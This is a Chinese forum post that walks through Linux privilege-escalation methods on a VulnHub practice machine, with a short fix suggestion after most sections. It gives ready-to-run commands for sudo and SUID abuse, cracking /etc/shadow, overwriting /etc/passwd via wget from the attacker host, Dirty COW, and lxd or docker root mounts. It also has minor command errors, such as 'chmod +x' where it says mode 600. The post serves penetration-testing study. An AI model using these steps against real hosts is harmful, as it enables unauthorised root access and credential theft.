安全矩阵

 找回密码
 立即注册
搜索
查看: 8395|回复: 0

Linux特权提升技术合集

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2021-2-5 20:39:37 | 显示全部楼层 |阅读模式
本帖最后由 gclome 于 2021-2-5 20:44 编辑

原文链接:Linux特权提升技术合集


环境情况
靶机下载地址:http://www.vulnhub.com/entry/linesc-1,616/
攻击机IP:192.168.56.105
靶机IP:192.168.56.117
用户:muhammad 密码:nasef
sudo
查看sudo -l


apt-get权限滥用特权提升
sudo apt-get update -o APT::Update:re-Invoke::=/bin/sh


提权完成
修补建议:为适当的文件设置适当的权限。在这种情况下,请修改/ etc / sudoers 降低不必要的权限。
二进制程序权限滥用

该二进制文件有源代码,源代码上面是执行一个shell出来。在sudo中,这个程序不需要root密码即可运行,所以我们使用sudo来运行该二进制文件即可提权。


sudo ./sudo


修补建议:为适当的文件设置适当的权限。在这种情况下,请修改/ etc / sudoers 降低不必要的权限。
ssh私钥泄露提权
来到vuln的3目录看见一个key,一眼看出来是一个私钥。推测是root用户的key,我们使用root ssh连接一下。
cat key

保存到kali下

要给id_rsa 600权限,要不然读取不到。
chmod +x id_rsa

ssh key连接
ssh root@192.168.56.117 -i ./id_rsa

修补办法:将私钥删除。
shadow文件可读

查找shadow文件
ls -la /etc/ | grep shadow


读一下shadow文件
cat /etc/shadow

发现root密码,我们将root进行破解。

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

获得root密码,su切换root用户完成提权。
su root

修补建议:为适当的文件设置适当的权限。在这种情况下,我们应该删除其他用户的阅读权限。
suid提权

搜索具有suid权限的可执行文件
find / -type f -perm -u=s 2>/dev/null

二进制程序权限滥用特权提升

cd /home/muhammad/vuln/1/

这个suid文件,执行之后会有一个shell返回,这个shell是具有root权限的。id查看权限,不是root,但是对/etc/passwd有读写权限,我们来添加一个root用户。
./suid

切回kali,生成密码。
openssl passwd -1 -salt magisec 123456

复制目标/etc/passwd到kali下,将我们生成的密码,按照格式写入。

python开启http服务器,使用wget覆盖/etc/passwd。

靶机执行
wget http://192.168.56.105/passwd -O /etc/passwd


退出当前shell,切换magisec用户,密码123456。
su magisec

修复建议:取消suid文件suid权限
php特权提升

获取flag

cp提权

将靶机的passwd文件,拷贝到kali上面。
cat /etc/passwdopenssl生成密码
openssl passwd -1 -salt magisec 123456

python启动http服务器
python -m SimpleHTTPServer 80

wget下载passwd文件
wget http://192.168.56.105/passwd

cp命令覆盖/etc/passwd
cp ./passwd /etc/passwd

提权完成
修复建议:将cp的suid去除
CRONJOBS特权提升
查看计划任务
cat /etc/crontab

发现系统每一分钟以root权限执行script.sh。我去跟进去看看。
cat script.sh

查看权限,发现我们对passwd和script都有读写权限。
ls -la

我们看一下script的内容
cat ./script.sh

发现,他使用passwd文件覆盖了系统自带的passwd文件,我们对passwd文件有权限,所以我们可以添加一个root权限的用户。切回kali,生成密码。
openssl passwd -1 -salt magisec 123456

切回靶机ssh连接,修改passwd文件,修改为这样。

等待系统执行,我们就可以添加一个用户了。需要一分钟。

我们su切换magisec用户,密码123456.
su magisec

修复建议:建议将passwd文件与script权限降低,不给普通用户写权限。
NFS特权提升
查看靶机挂载目录
showmount -e 192.168.56.117

将目标靶机nfs目录挂载到mnt目录中
mount -t nfs 192.168.56.117:/home/muhammad /mnt

创建setuid
vim ./exp.c

gcc编译
gcc exp.c -o exp

复制到/mnt目录
cp ./exp /mnt/exp

查看/mnt目录
ls -la

赋予suid权限
chmod +x ./exp
切回靶机,执行exp命令,看id依旧是普通用户,但是此时我们已经具有root权限了,如果要深入利用,可以参考我上面用的passwd攻击手法。
./exp

修复建议:合理配置nfs权限,禁止写入。
历史记录密码泄露
history

可以看到密码泄露,su切换root用户。
su root修复建议:清除历史记录,不直接再命令行中使用密码。
内核提权

查看内核版本
uname -r

使用脏牛提权,使用exploit-db的exp
searchsploit linux/local/40839.c -m

使用gcc编译
gcc -pthread 40839.c -o dirty -lcrypt

回传到靶机上

su切换firefart用户

发现firefart用户是root组,至此提权完成。
修复建议:升级内核版本,使用最新版本的ubuntu。
lxc提权
id查看用户基本信息,发现在lxd用户组,使用lxd提权
id

github构建提权环境
https://github.com/saghul/lxd-alpine-builder
sudo ./build-alpine然后回自动生成一个tar.gz文件,重命名成t.tar.gz
mv alpine-v3.12-x86_64-20201217_1534.tar.gz t.tar.gz将t.tar.gz文件传输到目标主机上面,使用python开启http服务
python -m SimpleHTTPServer 80目标主机使用wget下载t.tar.gz
wget http://192.168.56.105/t.tar.gz需要先初始化环境 一切默认
lxd init查看一下image

发现没有任何镜像,我们导入一下镜像,然后再次查看。
lxc image import ./t.tar.gz --alias dmagicsec

初始化容器
lxc init dmagicsec dmagicsec -c security.privileged=true

映射容器
lxc config device add dmagicsec dmagicsec disk source=/ path=/mnt/root recursive=true

启动容器
lxc start dmagicsec执行交互shell
lxc exec dmagicsec /bin/sh

获取flag

docker权限提升
查看id属于docker组,我们使用docker提权。

提升权限
docker run -it --rm -v /:/mnt bash

思路:目前我们将目标靶机的整盘目录挂载到了docker中,且在/mnt目录下,我们修改/mnt目录下面的文件,会直接影响到靶机。所以我们修改/etc/passwd文件,添加root权限用户。
生成密码
opensll passwd -1 -salt magisec 123456
进入我们刚刚root权限的虚拟容器shell,添加用户。格式如下
vi /mnt/etc/passwd

查看flag文件






















回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 22:54 , Processed in 0.014416 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表